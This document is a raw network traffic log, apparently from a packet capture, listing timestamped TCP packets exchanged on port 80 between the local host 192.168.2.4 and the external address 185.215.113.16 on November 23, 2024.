Nov 23, 2024 18:22:19.888354063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.888400078 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.889728069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.889777899 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.889883995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.889934063 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.891160011 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.891211987 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.891264915 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.891319036 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.892694950 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.892744064 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.892802954 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.892858982 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.894118071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.894166946 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.894237995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.894285917 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.895618916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.895668030 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.895869970 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.895917892 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.897121906 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.897167921 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.897274017 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.897320986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.898654938 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.898708105 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.898773909 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.898818016 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.900154114 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.900207043 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.900294065 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.900341034 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.974358082 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.974380016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.974436045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.974462986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.974837065 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.974880934 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.974936962 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.974977016 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.976023912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.976157904 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.976197958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.976227045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.977545023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.977605104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.977648973 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.977699041 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.979054928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.979106903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.979177952 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.979237080 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.980438948 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.980490923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.980576992 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.980654955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.981837988 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.981893063 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.981929064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.982017040 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.983180046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.983244896 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.983319998 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.983402967 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.984566927 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.984618902 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.984723091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.984771013 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.985981941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.986033916 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.986068010 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.986167908 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.987474918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.987524033 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.987555981 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.987601042 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.988910913 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.988960028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.989098072 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.989149094 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.990065098 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.990129948 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.990174055 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.990282059 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.991528988 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.991607904 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.991682053 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.991743088 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.992814064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.992870092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.992930889 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.992980003 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.994280100 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.994330883 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.994478941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.994529963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.995589972 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.995634079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.995714903 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.995762110 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.996959925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.997016907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.997081995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.997134924 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.998336077 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.998389006 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.998465061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.998517990 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.999713898 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.999768019 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:19.999819994 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:19.999905109 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.001099110 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.001151085 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.001239061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.001333952 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.002500057 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.002552986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.002635002 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.002686024 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.003880024 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.003932953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.003987074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.004082918 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.005228043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.005281925 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.005378008 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.005491972 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.006618023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.006669044 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.006732941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.006781101 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.008039951 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.008126974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.008158922 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.008205891 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.009385109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.009490967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.009516954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.009536982 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.010724068 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.010806084 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.011392117 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.011444092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.012123108 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.012176991 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.012254000 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.012306929 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.013669014 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.013721943 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.013761997 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.013813972 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.014908075 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.014957905 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.015077114 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.015125036 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.016263962 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.016313076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.016386032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.016433954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.017632008 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.017685890 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.017765999 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.017817974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.019117117 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.019196987 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.019205093 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.019242048 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.020401955 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.020452976 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.020483017 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.020531893 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.031138897 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.031204939 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.031339884 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.031764030 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.031820059 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.031877995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.031933069 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.033238888 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.033293962 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.033312082 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.033363104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.034507990 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.034558058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.083566904 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.083637953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.083688021 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.083740950 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.083996058 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.084053040 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.084083080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.084126949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.085334063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.085388899 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.085455894 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.085501909 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.086692095 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.086744070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.086818933 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.086868048 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.088103056 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.088159084 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.088284016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.088330984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.089466095 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.089518070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.089587927 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.089682102 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.090899944 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.090950012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.090984106 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.091033936 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.092245102 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.092291117 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.092372894 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.092420101 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.093624115 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.093681097 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.093710899 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.093756914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.094973087 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.095017910 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.095077991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.095125914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.096343040 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.096391916 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.096453905 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.096503019 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.097739935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.097789049 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.097790956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.097836971 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.099282980 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.099339962 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.099358082 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.099405050 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.100533009 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.100579977 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.100656986 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.100703955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.101857901 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.101906061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.101969004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.102015972 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.103261948 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.103308916 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.103395939 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.103447914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.104634047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.104685068 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.104753017 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.104809046 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.106003046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.106057882 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.106153965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.106203079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.107439995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.107492924 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.107522964 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.107563019 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.108738899 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.108799934 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.108933926 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.108980894 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.110140085 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.110183001 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.110246897 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.110292912 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.111527920 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.111574888 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.111612082 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.111658096 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.112909079 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.112957001 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.113009930 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.113054037 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.114279985 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.114329100 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.114382029 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.114429951 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.115684032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.115731955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.115763903 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.115813017 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.117185116 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.117232084 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.117249012 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.117294073 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.118427992 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.118474007 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.118606091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.118658066 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.119781971 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.119826078 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.119829893 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.119875908 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.121165037 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.121212959 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.121304035 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.121351004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.122535944 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.122585058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.122637033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.122679949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.123955965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.124010086 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.124052048 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.124100924 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.125288963 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.125335932 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.125408888 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.125458002 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.126679897 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.126724958 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.126785040 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.126832008 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.201217890 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.201291084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.201317072 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.201375961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.201710939 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.201752901 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.201770067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.201787949 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.202990055 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.203047037 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.203114033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.203336000 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.204391003 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.204447031 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.204473019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.204513073 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.205795050 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.205847979 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.205864906 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.205914974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.207145929 CET	80	49779	185.215.113.16	192.168.2.4
